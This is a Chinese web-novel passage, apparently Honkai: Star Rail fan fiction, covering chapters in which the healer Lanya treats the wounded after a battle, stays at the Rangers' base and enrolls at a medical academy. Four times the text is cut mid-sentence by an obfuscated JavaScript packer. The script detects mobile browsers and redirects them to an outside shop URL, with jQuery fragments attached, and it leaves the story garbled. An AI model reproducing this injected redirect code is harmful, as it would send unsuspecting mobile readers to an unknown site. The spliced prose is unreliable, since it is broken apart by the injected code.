他一边厮杀,一边护着身后一群蜷缩的平民,身上又添了好几道新的伤口,鲜血顺着伤口流淌,染红了他的衣衫,可他却始终没有后退半步。他的脚下已经躺了好几具敌人的尸体,但更多的敌人正从四面八方涌来,像潮水一样,一波接一波,没有尽头。 兰涯很有自知之明,知道自己没有能力去参与厮杀。她径直走向那些受伤的平民,走向那些在绝望中挣扎的人类。她的素色风衣在硝烟中飘动,她的脚步很稳,没有犹豫,没有恐惧。 就在这时,一阵微弱的孩童哭声吸引了兰涯的注意。她循着哭声望去,只见不远处的废墟之下,一位母亲正用自己的身体死死护住身下的孩童。 她的背上压着一块碎裂的石板,石板的边缘嵌进了她的皮肉,石板被周围人想办法挪开了,可鲜血顺着她的背脊流下来,在身下的土地上汇成一小摊暗红色的水洼。 她奄奄一息,可双手却死死攥着孩子的手,从未松开过。她一遍又一遍,用微弱却坚定的声音对着孩子说:“别怕,别怕……妈妈在。” 孩子哭得撕心裂肺,却紧紧抱着母亲的脖颈,小小的身体在微微颤抖。他不知道发生了什么,他只知道妈妈在,妈妈在说“别怕”,所以他抱着妈妈,紧紧地,像是抱住全世界唯一的安全感。 母亲的眼神渐渐涣散,瞳孔开始失去焦距。可她依旧死死盯着孩子,似乎要将孩子的模样刻进自己的心底,带到另一个世界去。 兰涯快步走上前,蹲下身,轻轻握住这位母亲的手。好冰凉。那温度让她想起了自己的手,在虚无深渊边缘,被芽衣握住之前,也是这么凉的。 她在深渊边缘坐了那么久,久到忘记了温暖是什么感觉。是芽衣的手告诉她,这个世界上还有热的、暖的、让人想握住的东西。 金色的针轻轻落在母亲的后背。她没有犹豫,直接逆转着伤势。那些狰狞的伤口以肉眼可见的速度开始愈合,溢出的鲜血渐渐止住。银色的针落下,涣散的眼神渐渐变得清晰,瞳孔重新聚焦。 “妈妈……妈妈……”孩子的哭声渐渐平息。他抬起满是泪痕的小脸,看着母亲渐渐清醒,忍不住扑进她的怀里,紧紧抱着她的脖颈。他的小脸贴在母亲的颈窝里,泪水把她的衣领打湿了一大片。 母亲缓缓睁开眼睛,看着怀里的孩子,眼中瞬间泛起泪光。她伸出颤抖的手,轻轻抚摸着孩子的头,声音依旧微弱,却满是欣慰与温柔:“妈妈没事了……别怕,有妈妈在……”她抱着孩子,一遍又一遍地安抚着。孩子紧紧抱着母亲,仿佛抓住了全世界唯一的希望。 来不及回应母子的道谢,兰涯转过身,继续走向那些受伤的人。 她救下了被砍伤的士兵,那士兵的腹部有一道很深的刀口,肠子都快流出来了。 她救下了被烧伤的老人,老人的半边身体都被烧焦了。 她救下了被压断骨头的孩童,那孩子的腿被倒塌的墙壁压住了,看得人心惊。 可她也亲眼看着那些来不及救治的生灵在她面前缓缓咽气。 一个年轻游侠,胸口中了枪,血从伤口里涌出来,怎么都止不住。兰涯蹲在他身边,双针已经拿在了手里,但当她看清他的脸,看清伤口上那些腐蚀痕迹时,她的手停住了。 卢锡安,她救下的第一个游侠,在诛罗战场上被兰涯逆转了毁灭的侵蚀。现在,他再度被毁灭侵蚀,已经蔓延到了心脏。命数既定,她救不了了。 卢锡安看着她,眼神里没有恐惧,他张了张嘴,想说什么,但什么声音都没有发出来,他的眼睛慢慢闭上了。 兰涯蹲在他身边,看着他的脸,那张年轻的脸。卢锡安最终还是迎来了自己的命运。 战火渐渐平息。反物质军团的攻势终于被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485880|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 击退了,那些黑色的、没有面孔的士兵如潮水般退去,留下满地的尸体和废墟。 活下来的人纷纷围在兰涯和巡海游侠身边,鞠躬致谢,眼中满是感激与敬佩。他们不知道这些天外来客的名字,只知道在他们最绝望、最无助的时候,是这群人像一束微光,照亮了他们的绝境。 除了卢锡安,巡海游侠中也有不止一个的牺牲,几个人永远地躺在了那片废墟上。活着的人站在他们的遗体旁边,没有人说话,只是站着,沉默地站着。 铁尔南疲惫地向兰涯致谢。他的身上缠了好几圈绷带,绷带下面还在渗血,但他的腰杆依然是直的。他的脸上有一道新的伤疤,从眉梢一直拉到颧骨,还没有完全结痂,红红的,像一条刚被画上去的线。 “你还好吗?”兰涯问。 “没事的,兰医师。”铁尔南摇了摇头,声音有些沙哑,但语气里没有消沉。“与其期盼明天,不如在今天灿烂。那些战友们如果活着,也会安慰你别难过的。” 他的目光望向战场另一端几个活下来的孩子。那些孩子正被大人们抱着,有的在哭,有的在发抖,有的已经哭不出来了,只是睁着空洞的眼睛看着前方。 “卢锡安他们估计还会谢谢你为他们争取了这些时间。如果不是你,他们或许早就死在诛罗的战场上,连守护这些孩子的机会都没有。” 兰涯沉默不语。她不知道说什么。她救过很多人,也眼睁睁看着很多人死去。每一次救治,她都在想同一个问题:这样做对吗? 逆转他们的伤势,让他们活下来,但那些伤会在未来的某个时间点重新出现。她只是偷了时间,不是治愈了命运。 如果按照阿哈的说法,即使一点点帮助,也能让人类前进寻求答案的旅程轻松一点。 可她还是产生了失落的情绪。 铁尔南似乎察觉到了她的失落,抬起手,轻轻拍了拍她的肩膀:“你不用自责,你已经尽力了。” 他的目光望向远方,望向那片被浓烟遮蔽的天空。 “我曾是无名客,跟着伙伴们遍历星海,见过无数星球。最难忘的,还是匹诺康尼。”提起那个名字,他的眼底泛起微光,仿佛看到了那座立于梦境与现实边缘的盛会之星,“那里曾是流放之地,后来被我们一点点改造,是个很棒的地方。” 他顿了顿,声音低了几分:“或许我会和卢锡安他们一样的命运。所以上次匆匆告别来不及说的话,我这次要说了。等战火平息了,你一定要去匹诺康尼做客。去看看我们曾经拼命守护的那种安宁与美好。顺便替我向米哈伊尔问好。只余下他一个人,真的很抱歉。” 兰涯摇摇头。“我记下了。但我相信,道歉的话还是你本人直接告诉对方比较好。” 铁尔南露出了苦涩的笑容,那笑容里有一种兰涯读不懂的复杂。 “再见了,兰医师。我还有重要的事情去做。” 他转过身,背影在硝烟中显得很瘦,但很直,像一棵被风吹弯了腰但始终没有折断的树。 12. 第 12 章 战场的消息像风一样,迅速传遍了整个寰宇。 “绝境医师”的名号渐渐被人熟知。人们都说,在战火纷飞的寰宇里,有一位身着素袍的姑娘,手持双针,能在绝境中带来希望。 虽然流言传得越远,越离谱,但所有的流言都有一个共同点:提到她的时候,语气里带着一种近乎虔诚的敬畏。 兰涯的手机上也接到了很多求助,有来自巡海游侠的,有依靠布鲁斯的关系辗转找来的,还有一些不知道从哪里拿到了她的联系方式、连她自己都不知道对方是谁的人。 伴随着绝境医师神乎其技的流言,还有医师的“三不治”。 其一,执迷不悟者不治。无论是否有生机,对长生执著到几近癫狂的人,不治。那些为了永生不惜牺牲他人的人,那些把“活着”当作唯一目的、忘记了自己为什么活着的人,她的针不会落在他们身上。 其二,命数既定者不治。因果已经锁死,再无转圜,医治已无意义,不治。那些被命运的铁链死死捆住的人,那些无论她怎么努力都无法改变结局的人,她只能放手。不是不想救,是救不了。 其三,不公不义者不治。恃强凌弱、以恶为乐者,背信弃义者,不治。那些把别人的痛苦当作自己的快乐的人,那些用他人的鲜血铺自己的路的人,她不会伸出援手。 对此,拉曼查感叹:“这都是用经验教训堆出来的原则啊。” 他没有问兰涯这些原则是怎么来的,因为他大概能猜到每一个“不治”的背后,都有一个人,或者一群人,让她明白有些事情不是靠逆转时间就能解决的。 闲下来的时候,兰涯不知道去哪里,就选择了巡海游侠的基地。 拉曼查虽然拒绝了兰涯加入巡海游侠,可对于她来基地停留还是很欢迎的。他给她安排了一间安静的房间,窗户对着星空,床铺干净整洁。 为了表现自己对于人类社会“你来我往”的人情比较理解的样子,兰涯把大部分诊金报酬都给了拉曼查。 那是一笔不小的数目,布鲁斯给的那一串数字,还有后来那些被救的人通过各种方式送来的感谢金,她几乎一分没留。 拉曼查看着那个数字,不好意思起来:“这不对吧……这对吗?” 兰涯很坚定:“卢锡安他们的家属你肯定认识。我联系不到铁尔南了,就拜托你给那些家属吧。不然养家太辛苦了。” 听到兰涯说“联系不到铁尔南”,拉曼查的脸上有些奇怪。 那种表情和港口那天游侠们望着战场中心贪饕的影子吞噬一切时的表情很像,像是知道了什么,但不想说。 这位游侠首领也不解释,只是叹了口气。“铁尔南我也联系不上了。他去了哪里,周围人都不知道。” 他低头看着自己的右手,那只缠着绷带、钉着三枚钉子、藏着贪饕影子的手。 “这只可憎的手啊……” 基地的训练场上,沙尘飞扬,器械碰撞声、指令声交织在一起。 拉曼查抱着手臂站在训练场的高台之上,锐利的目光扫过下方训练的新人,他的风衣下摆被风吹得呼呼直响,像一匹立于山顶的头狼。 这些新人大多是被战火裹挟的孤儿,或者心怀复仇之志的幸存者。他们带着满腔怒火来到这里,渴望成为箭指仇敌的巡海游侠。 而拉曼查要做的,就是磨去他们的浮躁,将他们淬炼成真正的战士。 特训的第一关是体能训练,严苛得近乎残酷。拳击场上,新人两两对决,拳头带着风声砸在对方的护具上,汗水顺着脸颊滑落,浸透了训练服。有人被打得踉跄倒地,却咬着牙爬起来,继续挥拳。 水陆两栖高强度训练更是折磨人,光是第一关长距离游泳就让不少人体力不支,登山训练简直要命,新人背着沉重的装备攀登悬崖峭壁,碎石不断从脚下滑落,发出哗啦啦的声响,有人一脚踩空,整个人吊在安全绳上晃来晃去,脸都白了。 下了山还有越障训练,新人得跨越铁丝网、翻越高墙、钻过涵洞,几十公斤的装备压在身上,徒步穿行避开“敌人”的视线。 你以为训练到此为止了? 这只是开胃菜而已。 体能训练的疲惫尚未消散,专业技能训练便接踵而至。 格斗训练中,拉曼查亲自示范招式,精准、狠厉,每一招都直击要害。他不是一个会在训练场上笑的人,那张平日里带着懒散和调侃的脸,在训练时会变成一块铁板,没有表情,没有温度。 新人跟着他模仿,反复练习格挡、出拳、踢腿,同一个动作要练几百遍,直到肌肉记住为止。有人动作不标准,拉曼查会直接走过去,用脚踢他的腿,纠正他的站姿,嘴里说着“再来”,语气冷得像冬天的风。 爆破训练需要用肌肉记忆记住爆破装置的组装与引爆顺序,拉曼查的要求是不用脑子也能在三十秒内完成组装,免得上了战场炸了队友。他让新人蒙着眼睛拆装炸药,一遍又一遍,直到手不会抖为止。 武器操作训练更是重中之重,激光枪、脉冲刀、狙击枪等各类武器,新人都要熟练掌握,从装卸、瞄准到射击,反复练习,直到精准命中目标。 拉曼查会亲自检查每一个人的射击数据,谁脱靶了,谁反应慢了,谁在换弹夹的时候多花了半秒钟,他都会记下来,然后让那个人加练。 训练 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485881|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时候,训练场边上常常站着两个人,一个是鸮,一个是熊。 鸮来自萨尔索图星,那颗星球早已停止了自转。一面永远朝着太阳,被烤成焦土;一面永远背着太阳,冻成冰川。只有在晨昏交界线上,温度才勉强适合人类生存。那里的人们世代追逐着那条细细的晨昏线迁徙,永远在移动,永远不能停。 鸮从小就是在风中长大的,萨尔索图星的孩子天生就会看风向、读气流,这不是学的,是在风里泡出来的,像鱼天生会游泳一样。他的飞行技术是整个巡海游侠里最好的。他驾驶飞行器的时候,动作行云流水,转弯、俯冲、急停,每一个动作都精准得像用尺子量过的。 鸮负责训练侦察定向定位、指挥通信器材的使用、载人飞行器与各类星际交通工具的驾驶,每一项技能都关乎生死,他亲自手把手教学,对任何一个失误都零容忍。哪怕是一个细小的操作错误,都会让新人重新练习,直到熟练无误。 熊来自赫博利恩星。那颗星球在被毁灭军团入侵之前,到处都是奇珍异草,空气里弥漫着草药的清香,河流两岸长满了叫不出名字的花。熊是那颗星球上长大的孩子,身材魁梧,肩膀宽得像一堵墙,胳膊比新人的大腿还粗。他往训练场边上一站,像一座小山,光是影子就能盖住半条跑道。 别看熊五大三粗的,他的草药学特别好。赫博利恩星的孩子从小就得学会辨认各种植物,哪些能吃,哪些能入药,哪些碰都不能碰,这是刻进骨头里的本事。熊把这门本事带到了巡海游侠的队伍里。 游侠们有个头疼脑热、跌打损伤,都是他给看的。他的房间里永远堆满了干草药,空气里永远飘着一股苦涩又清新的味道。谁扭了脚,熊会蹲下来,用那双比砂锅还大的手轻轻地揉捏伤处,动作温柔得不像一个能一拳打碎石头的壮汉。 熊负责的就是最磨人的野战生存训练。新人被分批投入到模拟的复杂星际自然环境中,没有食物,没有水源,只有有限的生存工具。他们要学会寻找水源,辨别可食用的野果,搭建避难所,还要应对突发的危险,进行自救与互救训练。想哭?哭也算时间。 熊和鸮是拉曼查的老战友了,三个人一起扛过最艰难的日子。 熊负责开路,以及在战后给伤员上药包扎,鸮负责在空中侦察敌情、在战斗中快速穿梭救援被困的游侠。拉曼查负责主攻。 三个人像三色杯冰激凌,谁也离不开谁。 新人们有时候会好奇地问熊和鸮是怎么和老大认识的,熊会嘿嘿一笑,说“打了一架”,鸮会面无表情地补充“没打过”,然后两个人对视一眼,都不说话了。 那段往事大概只有他们自己知道。 13. 第 13 章 训练场上冷面如铁的头狼,到了生活里就变成了另一个人。 拉曼查记得每一个人的生日,在那天早上悄悄在他们门口放一块蛋糕,是一块非常简朴的杯子蛋糕,但很好吃。 他会注意到谁最近训练太累、吃不下饭,然后自己去厨房单独做一份燕麦奶粥送到那人房间。 谁受了伤,他会亲自来看,不是站在门口简单一句“好好休息”就走的那种看,而是坐下来,问伤口处理得怎么样,问病人还疼不疼,需不需要什么东西。 谁家里出了事,他会想办法帮忙,有时是寄一笔钱,有时是托人捎一封信,有时只是默默地帮那个人调整训练计划,让他有时间处理家里的事情。 他的“无微不至”在游侠们中间是出了名的。有人开玩笑说拉曼查不是老大,是“妈妈”。 这个绰号一开始只是几个人私下里叫,后来越传越广,连那些刚来的新人都知道了。拉曼查每次听到都会皱眉头,语气无奈地说:“我不是你妈。” 但没有人听他的,大家还是叫,甚至在背后叫他“拉曼查妈妈”。他嘴上说不要,但该做的事一样没少。 熊和鸮从来不叫他妈妈。熊叫他“老大”,声音低沉浑厚,像在喊一个他愿意跟着走一辈子的方向。鸮叫他“拉曼查”,没有敬称,没有昵称,就是名字。但熟悉鸮的人都知道,鸮愿意叫一个人的名字,就已经是把那个人放在心里了。 兰涯第一次听到“妈妈”这个称呼的时候,正在厨房倒水。一个年轻的游侠从她身边跑过,冲门外喊了一声“拉曼查妈妈,训练场的灯坏了”。 兰涯愣了一下,以为自己听错了。后来她又听到几次,确认自己没听错。 她不太理解为什么一群成年人要叫另一个成年人“妈妈”,但她觉得这个称呼很合适,拉曼查确实像妈妈,那种会在你出门前帮你检查装备有没有带齐、在你回来时问你累不累的那种妈妈。 于是有一天,她也很自然地跟着叫了一声“拉曼查妈妈”。 那是在一次晚餐。拉曼查端着餐盘取餐,正好排在她前面,顺手帮她拿了一份汤,兰涯说:“谢谢拉曼查妈妈。” 整个食堂安静了一秒。所有游侠都转过头来看着她,又转过头去看拉曼查。 拉曼查端着餐盘的手僵在半空中,脸上的表情像是被人用定身术定住了,他的耳朵慢慢红了。 熊正在啃一块骨头,听到这句话,骨头差点从手里掉下去。他张着嘴,一脸震惊地看着兰涯,然后又看了看拉曼查,嘴角开始往上翘。 鸮坐在熊对面,端着碗,表情没什么变化,但他的筷子停在半空中,停了三秒。对于鸮来说,三秒的停顿,已经是很长的了。 “你别跟他们学。”拉曼查说。 兰涯看着他,不明白他为什么脸红:“可他们都说你是妈妈。” “他们瞎说的。” “那你帮他们做蛋糕、煮粥、看病,不是妈妈是什么?” 拉曼查张了张嘴,发现自己居然反驳不了。他端着餐盘走了,背影看起来像是在逃。身后传来游侠们压抑的笑声,熊的笑声最大,像远处的闷雷,震得桌子都在微微颤抖。鸮没有笑,但他的嘴角动了一下,那个弧度太小了,如果不是认识他很久的人,根本看不出来。有人小声说了一句“医师太厉害了”。 从那以后,兰涯偶尔会叫他“拉曼查妈妈”,每次叫完,他的耳朵都会红一下,但从来没有真正生过气。 熊每次听到都会咧嘴笑,笑得眼睛眯成一条缝。鸮每次听到都会停顿一下,然后继续做自己的事。他从来没有笑过,但他停顿的次数越来越多了。 连日的高强度特训让新人们苦不堪言,训练场上瘫倒了一片。 兰涯从训练场路过的时候,看到的就是这样一幅景象,一堆瘫倒在地、有的还在抱怨的新人,以及她从未见过的、面容冰冷的领猎人。 拉曼查脸上没有平日里洒脱的笑容,阴沉得像虚无深渊的死水。他走到新人们面前,依旧抱着手臂,语气冰冷却字字铿锵:“踏上游侠之路,有那么容易吗?” 他的目光扫过每一个新人,眼神锐利如刀,从左边扫到右边,又从右边扫到左边,每一个人都觉得自己被那双眼睛盯了很久。 “我知道你们都心怀怒火,都想复仇。可光有复仇的怒火是没有用的,怒火只会烧毁你们的理智,让你们在战场上不堪一击。”他顿了顿,语气稍稍缓和了一些。“能让你们在战火中达成目标的,是坚定的信念,是坚韧的身体,是熟练的技能。怒火是火柴,划着了就灭了。信念才是柴火,能烧很久。” 他的话语显然很有用。训练场上的抱怨声渐渐平息了,瘫倒的新人缓缓爬起来。拉曼查瞥见路过的兰涯,语气再次舒缓,甚至带上了一丝调侃。 “大不了,兰医师这两天在基地,让她给你扎一针,把肌肉乳酸堆积的情况回溯了,你还能接着练呢!” 接着,他就第一次看到兰涯特别有活人感地睁圆了眼睛,露出震惊的表情,用手指指了指她自己。虽然距离让他听不清她说什么,但他心里猜兰涯说的是:“啊?我吗?” 那个表情太生动了,和平时那个没什么表情的兰涯判若两人。拉曼查差点没忍住笑出来,但他忍住了,因为他还站在训练场上,新人还在看着他。 结束训练后,拉曼查为了弥补刚才的调侃,赶紧去找兰涯。一进门就看见她在收拾东西,桌上摊着几本书,旁边放着一个旧背包。他的内心顿感不妙,脑子里蹦出六个大字来——完了,她要走了。 拉曼查选择了滑跪:“刚才拿你来说笑了,对不起。” 兰涯莫名其妙地看着他,那表情像是在说“你在说什么”。她的手上还在收拾书本,动作没有停。 完了,肯定是不高兴了。拉曼查内心大喊糟糕,不确定地问:“你要离开吗?” 兰涯点点头:“对,明天出发。” 拉曼查这下更像是被大雨淋了个彻底。他的肩膀微微塌了下去,嘴角往下撇了撇,整个人看起来像一只被主人训斥后耷拉着耳朵的大型犬。 “我错了。”他说,声音里带着一种恳求的意味,虽然他也不知道自己在恳求什么。 看着眼前假装是可怜小狗的头狼,兰涯终于明白过来对方意在何处了。 “没有不高兴,你说的那件事我根本没放在心上。能同意我在基地做停留,感谢还来不及呢。” 怎么这句话一出口,可怜小狗的脑袋都耷拉下来了?兰涯心想,自己还是说不来什么漂亮话。她干脆继续把话说完。 “我报名了博识学会下属的医学院,要去听课。” 拉曼查总算注意到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485882|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桌上有一张博识医学院的通知单。那是一张浅蓝色的纸,上面印着博识学会的徽章和几行工整的字。他眨了眨眼,像是在确认自己没有看错:“去医学院听课?” “最近感觉战争越来越多了。”兰涯轻描淡写地避开自己的身体感受,纯粹阐述事实。 “你也知道我其实并不会真正的医治,对于人体结构、病症创伤的分类,一无所知。” 她也下载了一些医学书籍补课,不过这些医学书籍大多到最后就像星际和平公司大喊“一切献给琥珀王”那样大喊“药王慈怀”。看着看着就变成了教义宣讲,讲着讲着就变成了“信药王者得永生”,显然和她的需求不是一条道上的。 “仙舟的丹鼎司先不说是不是又搞丰饶那一套,那里目前看来不收外地……外星人。”她看着拉曼查,他脸上露出一种“我和仙舟人认识,我能帮忙通融”的表情。她摇了摇头,“你别用这个表情看我。我只是想单纯地补习自己的认知缺口。” 拉曼查把自己的理解说出来:“你不想自己带着「绝境医师」的身份到处宣扬。” 兰涯欣慰极了,语气里带着一种“终于有人懂了”的轻松:“对。” 游侠们把这个名头到处宣传,兰涯想着大多数人不知道自己的长相,也就算了。可如果自己顶着这个名头去以人类的行为来说“走后门”,那种如芒在背的滋味,以她简单的想象,都能抠出一个星系来。 “博识学会下属的这个医学院,对于星际无差别招生,很适合我。”兰涯最后总结,“明天是报道日,我直接跃迁过去。如果有事,你也有我的联系方式。” 拉曼查定定地看着兰涯,久到兰涯都疑惑了,正要开口问,他突然露出了笑容,伸出了双臂。 “那就提前告别,来个拥抱吧。” 兰涯又露出了那个“啊?”的表情。 “很多人说完下次见,大多像射出去的子弹一样一去不回。”他的眼睛里没有离愁别绪,像星星一样亮闪闪的,“所以,来个拥抱怎么样?” 兰涯已经有和不少人道别的经历了。芽衣的祝福,铁尔南的请求,阿哈的约定,那些战场上幸存下来的人的感谢。以拥抱作为道别的方式,或者拥抱这个行为本身,对她来说还是第一次。 “这是喀琅施塔特星的习俗吗?”话是这么问,她还是接受了这种方式,微微张开手臂,身体有些僵硬。 拉曼查见状,眼底的笑意更甚。他轻轻张开双臂,将她轻轻拥入怀中。动作很轻,轻到像是一个人在试探一块冰会不会融化。他的怀抱宽厚而温暖,带着很淡的硝烟味,还有洗衣粉的味道。就这短短的一瞬,没有过分的亲昵,只有伙伴之间恰到好处的祝福。 兰涯以人类的状态第一次感受拥抱。她感觉到他胸口的温度,感觉到他手臂环在她背上的重量,感觉到他的呼吸拂过她的头发。这些感觉很小,如同大海上细碎的波光,但合在一起,很亮。 松开后,拉曼查脸上的笑意没有淡去,接着问:“感觉怎么样?” 兰涯认真地思考,并作出评价:“下次还填非常简单。” “哎?”这回轮到拉曼查睁圆了眼睛。 他不确定自己听到的是不是真的,但他觉得兰涯在开玩笑。 兰涯在开玩笑,这个事实让他觉得比被叫“妈妈”还要不可思议。 14. 第 14 章 医学院隶属于博识学会,而博识学会则受到了星际和平公司的鼎力支持。 也正因如此,这所医学院汇聚了星际间最全面的医学资源,有着最系统的课程体系,更搜集了各个种族的生理特点,成为星际间最具权威性的医学院之一。 刚报道那天兰涯就感受到了公司的“壕气”。 学院的建筑硬件且不说,报道即得学院制服,无论出处,每人两套,面料柔软,剪裁合身,连扣子都是定制的。 兰涯穿着那件白色的医师袍走在走廊里,觉得有些不自在,袍子太新了,颜色太白,和她那件洗得发白的素色风衣完全是两个世界。 一走进教学楼大厅,兰涯便露出了“我就知道”的表情。 大厅的中央是一个博识学会的标志雕塑,这个倒没什么问题。 可雕塑下面,学生自说自话挂了一幅丰饶祈祷图,那画上画着药师的身影,线条柔和,色彩温暖,周围还画着一圈发光的叶片。 围着这幅挂画,周围摆满了新鲜的花果,甚至还有好几个盆栽。有的盆栽里种着不知名的小花,有的种着绿油油的草药,还有一盆种着一棵小小的银杏树苗,叶子才长出来没几片,嫩绿嫩绿的,在灯光下微微泛光。 不少学员正虔诚地躬身行礼,嘴里默念着祈祷的话语。 “愿药王赐福,消弭世间所有病痛。” “多谢药师庇佑,愿我学有所成,治愈众生。” 这样的祈祷声在大厅里此起彼伏,不绝于耳。有人双手合十,有人闭目低头,有人手里捻着一串念珠,嘴唇一张一合,念念有词。兰涯站在大厅门口看了一会儿,觉得自己像是误入了一座庙宇,而不是一所医学院。 果不其然,就连这所隶属于博识学会的医学院,也有大量的丰饶信徒。 在人类眼中,万事万物,只要有药师的赐福,就没有什么疑难杂症是治不好的。他们相信药师的手能抚平一切伤痛,相信丰饶的命途能带来永恒的生机。 兰涯觉得奇怪又好笑,但无法过多苛责。在这个战火纷飞、苦难遍地的寰宇里,星神信仰是许多人活下去的支撑。 对他们来说,丰饶药师之于自己,就如巡猎岚之于游侠和仙舟,又如纯美伊德莉拉之于纯美骑士。一个人总要信点什么,才能在那漫长得让人喘不过气的黑暗里找到一丝光亮。 好在,这所医学院并非只有盲目的信仰。扎实的医学课程才是这里的核心。 课程的安排紧凑而系统,从最基础的医学导论开始,一步步引导着学员们走进医学的世界。 医学导论课上,教授站在讲台上,用生动的语言讲解着医学的基本框架和发展历程,从远古时期的原始医疗到星际时代的精准医学,从单一的种族医疗到跨种族的综合救治。 教授的声音不大,但很有穿透力,整个阶梯教室安安静静的,只有翻书的声音和笔尖划过纸面的沙沙声。 生物学课堂上,教授通过全息投影展示着星际间不同种族的细胞结构和基因序列。那些彩色的图像悬浮在半空中,有的像一团发光的星云,有的像一张密密麻麻的地图。从人类的细胞分裂、基因特性到其他种族的生理构造,教授讲解得细致入微,每一个知识点都要反复强调好几遍,生怕有人听不懂。 兰涯听得格外认真,她第一次知道不同种族的生理特点有着天壤之别,就连伤口愈合的速度、对药物的反应都有着巨大的差异。 对于她而言,愈合伤口的速度和判断药物反应可能不太能用得上,但生命的起源与发育,从受精卵的形成到胚胎的发育,再到个体的成熟,每一个过程对她来说都充满了神奇。 人类竟然如此脆弱,需要完整的呼吸、循环、消化、神经等系统的联合运作才能维持生命。人类医生要能分辨出什么是健康的生理状态,什么是异常的生理反应,这不是一件容易的事。 人类除了躯体脆弱,精神也很脆弱。精神病学这门课让她大开眼界。原来心理创伤也是一种需要被重视的伤病。 教授的课件上写着:“心理创伤会改变大脑的物理结构,会在记忆里留下永久的痕迹,会让人在最安全的时刻依然感到恐惧。”兰涯看着那行字,在笔记本上把那行字抄了下来。 紧接着她就“小开眼界”了,因为收到了一份教授发的心理诊断题。 兰涯一边做一边觉得哪里不对劲,又不会改。那些题目看似简单,但每一个选项都像是在试探什么,选这个觉得不对,选那个也觉得不对。她盯着题目看了好一会儿,终于学会了人类学生的一项传统技能——抄作业:“同学,借我答案抄抄。” “这你也要抄答案?你也太懒了吧。”抄抄的对象是新认识的白焰。 那要回溯到开学后的第一堂课上。兰涯正记着笔记,长桌隔壁的人不小心将手中的橡皮滚到了兰涯这边。那橡皮骨碌碌地滚过来,停在她笔记本的边缘。她顺手滚了回去,对方接住了,抬起头冲她笑了笑。 课后,对方表达了感谢,自我介绍说叫白焰,是仙舟狐人。白焰的声音活泼而清脆,蓝色的眼眸里带着善意的笑容,毛茸茸的狐耳轻轻晃动,让兰涯的眼睛无法转移。 那耳朵是真的,毛茸茸的,尖尖的,尖端染了一抹朱红,耳廓内侧是粉白色的绒毛,偶尔还会微微转动一下。兰涯盯着那对耳朵看了好几秒,心里只有一个念头:毛茸茸真的是太棒了。 不过仙舟人来博识学会医学院学习是一件很少见的事情。兰涯将内心的疑惑说出后,白焰说:“其实我家并不是医学世家,家里人都是学者或者冒险家,我来这里学习也是为了认识更多仙舟之外的人,以后也不会去丹鼎司,可能当个学者吧,毕竟……” 接着狐人就开启了吐槽模式。 她说了很多,说到仙舟各派系之间的恩怨情仇,说到丹鼎司和药王秘传的纠葛,说到那些在仙舟内部流传了千百年的故事。 兰涯还没去过仙舟,就已经把仙舟各派系之间的瓜吃了一遍。前面忘了,后面忘了,管你这那的,总结起来就是一句话:岚忘不了药师那双忧郁的眼睛。 白焰说这句话的时候,表情严肃得像在念课文,但她的耳朵在微微抖动,暴露了她内心的真实情绪。 回到那份心理诊断题。兰涯抄了白焰的答案,白焰生怕被发现,还指导她修改了几道题。 “这道题不能选C,选C太假了,正常人谁会选C?” “那道题你要选A,A看起来最普通,普通的答案最安全。” 两个人凑在一起,像两个在考场里偷偷对答案的小学生。提交后显示,答卷人的心理状态良好。 兰涯看着那个结果,面无表情地点了右上角的x。她可不会告诉白焰,自己把问卷用模拟器跑了一遍,发现结果是人格障碍。为了安稳地在学院学完课程,还是抄抄答案比较好。 白焰是一个纯粹而真诚的狐人。她没有盲目信奉丰饶,只是单纯地热爱学习各种知识。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485883|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她常常主动将自己整理的笔记分享给兰涯,那些笔记写得工工整整,每一个知识点都标注了重点和难点,还用不同颜色的荧光笔做了标记。 她会拉着兰涯一起去吃下午茶,对着兰涯那份巧克力布朗尼露出“只可远观不可入口”的表情,巧克力对狐人来说等于毒药。 